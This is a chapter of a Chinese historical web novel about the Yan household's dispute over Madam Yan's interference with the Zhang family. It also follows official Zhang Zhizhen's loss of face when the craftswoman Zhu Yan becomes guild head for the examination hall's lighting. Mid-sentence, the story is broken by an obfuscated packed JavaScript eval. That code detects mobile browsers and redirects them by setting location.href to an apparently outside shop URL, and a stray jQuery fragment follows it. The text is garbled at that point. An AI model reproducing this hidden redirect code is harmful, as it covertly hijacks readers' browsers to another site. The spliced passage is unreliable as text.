果然，严学士没了方才的耐心，长叹一口气，却只是深望她一眼，什么也没说。
严夫人张了张口，好半天才听到自己的声音干涩地响起：“老太爷，他都晓得？不会啊，他要是晓得，怎会允许邵堂的二哥二嫂打着严家的旗号干这些事？”
严学士摇摇头：“邵堂的兄嫂虽然有意让进昌去露脸，可却只是让马车路过了张家而已，该做什么不该做什么人家都清楚，你却不分青红皂白，就擅自替父亲回了张家。张家得了你的口信，自然不愿意再见邵家人，咱们家的门风清朗了，可张之臻求老太爷的事却是怎么也推脱不清——”
严邡从去年秋末开始就称病谢客，多日不进宫，不进内阁议事，更不接见任何官员。
张之臻是户部选调到贡院的，他却屡屡登门请严阁老出面劝说主考官，严家不好赶人，严邡却也没有见他，从来都是来了就好茶好饭款待，再客客气气送走，一直相安无事。
如今严夫人横插一杠，还不知那张之臻如何到处宣扬，又是将父亲传得如何虚伪，想到这里，严学士就觉得头疼。
严夫人明白后，忍不住急哭了起来：“我，我，我也是为了五娘好，要是你得力上进，哪里需要我操心这多？”
言语间都是委屈。
严学士却彻底没了耐心，站起身来，脸色无比铁青：“都是我的错，你没错，现在后悔，当年怎地欢欢喜喜嫁过来？趁你年纪还尚好，大可另寻良人就是！”
这话明显在气头上，两夫妻都十几年了，严邡老当益壮，有有女有子，怎会乱来？
正巧赶来的严妙宁听了个正着，心里一急，赶紧进来：“父亲，母亲她就是心疼我，加上多日忙碌，才昏了头做了错事，她身体不好，我陪着她去一趟三清观就是。此事说到底因我而起，父亲不必着急，祖父已经生气，父亲要是再气出个好歹，我真是满心羞愧，无地自容了。”
一副请罪的模样。
严学士说的也不是真心话，当下看到懂事乖巧的女儿，又瞥见门口探头探脑的小厮是儿子身边惯常那个，门大开着，他不好在下人们子女面前给妻子难堪，冷哼一声，甩袖而去。
“我满心为了严家，你父亲却如此对我。”严夫人跌坐一旁，两行清泪落下，满心都是凄然，“我干脆去三清观住一辈子，才算合了你爹的心意。”
严妙宁劝她：“娘说糊涂话，父亲虽然中庸，可他和您相敬如宾多年，对您如何我和弟弟都看在眼里，方才不过是气话，世人都知，气话如何能算数？”
“可你二婶母是什么人你也晓得，她进了咱们家，还不得跟耗子进了米缸？又是备你嫁妆的好差事……还不知要如何！”严夫人恨恨道，“老太爷也太狠心了，即便我做错了事，为何非要将我赶去三清观？你的婚事是眼看在即，一辈子的大事就这么一回，我这个当娘的都不能插手，还得要外人做……如何能教我放心？”
“娘这话差矣。”严妙宁坐在她身侧，轻声劝道，“你私底下应了张家的话，张大人得了信，可不得登门拜访？您在家里，总不能不出门不见人。去三清观就不一样了，您是为了外祖母去的，旁人不会打扰您，张家更不必说，到时候人不在，怎么应对还不是祖父说了算？爹和祖父是为了您好，将来科举已开，婚事在即，谁还记得这件事？”
严夫人听了进去，却犹自不甘心：“你二叔母……”
“二叔母，您更不必担心了。”严妙宁自信一笑，“我的嫁妆是有专门的单子，父亲那边调派个人来帮着核整，到时再送到祖父那里过一眼，就算二叔母再有心眼，也就是在其他小地方吃一些，却绝不会在这上头弄虚作假。”
严夫人收了眼泪，点了点头，摸女儿的乌发：“我担心的不止这，还有那邵家，当初看邵堂还算是个齐整人，才学又得你祖父认可，勉强应下，当下一想到你要嫁去那样的人家，我就愁得茶饭不香，也不知这件事还有无转圜的余地。”
严妙宁掩饰住情绪，淡淡一笑道：“祖父都认可，娘何必担心？再说我过日子是和他过，不是和他二哥二嫂，要是好好的人，就相安无事，要是惹是生非的人，自然是见面一声称呼罢了，我心里有数，娘不必忧心。”
母女两个又说了会话，这才算是将此事落了定。
*
话说，此前张之臻以为自己得了严夫人准信，第二日去上值之时就去了上司面前提这事，谁知上司宋润，也就是国子监大学士兼主考官，却眼皮都没抬一抬。
张之臻以为那日自己说得不够清楚，或是宋润装作波澜不惊的模样，冷笑一声，借口休沐连着两日都没去贡院上值，中途还去了一趟户部，见了尹尚书。
这一日又到贡院上值，张之臻果然见宋润在值堂里，他满面带笑地上前，正要说话，却见一旁有个人，顿时将话都咽了回去。
“张大人，您近日可好？”一名素布单衣女子带着笑容站在末座位置，她穿着素雅，不施粉黛，眉清目秀，头上只戴着两支透亮的银钗子。却没坐，站着和他说话。
张之臻僵住，问：“你，你怎么在此处？”
那女子笑道：“张大人此前身体不好，也不知休息几日是否好转，若是不可还是要去请个大夫看看，别讳疾忌医才好。”
此女正是当初吃了张之臻冷板凳的朱颜朱娘子。
“你来的正好。”埋头处理公事的宋润，终于是放下了笔抬起头，和他引见，“这是新上任的朱行首，也负责今年贡院里的烛火补缺，此前拖了许久宫里都没信，当下有了她，你就能松口气了，春闱在即，贡院里的烛火灯油务必及早办好，以免到时出纰漏。”
张之臻目瞪口呆，“她，她怎么会是行首？会不会是有错？”
宋润看他一眼，“宫里下的口谕，你要是不信，大可以去宫里问询。”
张之臻在朱颜这样的平民面前拿架子，可在偌大的汴京却什么都不算，哪里敢去宫里质问，当下就萎了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231818|185013||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
颗心，蔫哒哒地站在一旁。
宋润没理会他，兀自转向朱颜说话：“你方才说的那几种节油灯和增亮灯，可有实物？若有给我送过来看看最好。”
朱颜点头答：“大人想看实物，明日我就能送来，不过最好是送到贡院和考舍里头摆着看，要是有何不对我立刻就能调整。”
她这样的态度让宋润面色舒展，点头允了。
又问了几个关键问题，话题进入尾声。
全程张之臻都插不进去一句嘴，像个木头人似的站在一旁。
“张大人，我这两日又做了一批改进过后的成品，您明日要不要先到铺子里看看实物？选出两个最好的给宋大人呈来，也免得耽搁您二位的时间。”朱颜望向他，提议道。
张之臻口里发苦，却迫于压力只能点头应了。
*
“你说他一句话都没说？脸都青了？”邵远重复了一遍，忍不住乐了，觉得格外解气。
“是啊，”朱颜也很感慨，一面说话，一面手上的活却没停，“宋大人板着脸问，‘你平日不是这样的人，今日怎么跟吃了呆药似的？’那张大人又涨红了脸，却依旧是一个字也没憋出来。”
王信虽然上回没去，这回也没去，却光是听就觉得同样爽快，“谁能想到呢，咱们处心积虑的事没办成，宫里头的娘娘一句话，就办成了，真是运道来了，挡都挡不住。”
朱颜却有点存疑，自己明明推了宫灯会的事，魏贵妃却依旧发话，不但让自己接了贡院的单，还成了行会的行首，她到底是什么意思呢？
邵堂听到几人说话，心里也高兴，一面跨步往里一面说话：“我听说宫里指定二嫂你做贡院的单子，还做行首，是不是？”
“你从哪里听到的？”邵远诧异。
邵堂满面春风，将严夫人去三清观小住守孝的事说了，还说严家二房代掌中馈的二太太请了他去，从里到外给他做一套新衣裳，还特意派人去最好的笔墨铺子买了两套文房四宝。衣服要时候做，文房四宝却当即送给了他，他看了，虽然看不明白到底是什么材质，但却能看出都是上上好的东西，并不是敷衍他的。
辞别二太太，严进昌也喊了他过去叙话，口中和邵堂说着话，全程眼盯着侍奉汤药的一个丫鬟看，看得丫鬟都面红耳赤，汤药吃完赶紧退了出去。
此行邵堂有点明白，这是严阁老替他和二哥二嫂“出气”呢。
可他隐约觉得这事没那么简单，自己再受他中意，也不可能因为自己而“惩罚”严夫人，他是解气了，到时候怎么面对丈母娘？邵堂觉得，肯定还有别的原因。
只是还有什么原因，他却想破脑袋也想不出来。
朱颜心里有数，并不多问严夫人的事，只答话：“二太太对你这样好，咱们也不能不回礼，可太贵重的咱们买不起，价廉的又不可……”她想了想，有了主意，“你抄一遍经文，以及感谢信，托二太太送到三清观去，安住你丈母娘的心。”